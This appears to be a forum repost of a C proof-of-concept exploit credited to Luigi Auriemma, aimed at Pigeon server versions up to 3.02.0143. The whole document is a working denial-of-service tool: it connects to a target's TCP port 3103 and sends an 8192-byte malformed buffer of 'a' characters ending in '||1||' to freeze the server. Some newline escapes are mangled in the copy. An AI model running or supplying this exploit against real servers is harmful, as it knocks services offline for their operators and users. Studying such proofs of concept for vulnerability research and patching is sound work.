文章作者:Luigi Auriemma
复制内容到剪贴板
代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u_short port = PORT;
u_char *buff;
setbuf(stdout, NULL);
fputs("n"
"Pigeon server <= 3.02.0143 freeze "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 2) {
printf("nUsage: %s <server> [port(%d)]n"
"n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("n- target %s:%hun",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';
fputs("- send malformed datan", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();
close(sd);
fputs("- the server should be freezed, check it manuallynn", stdout);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif 
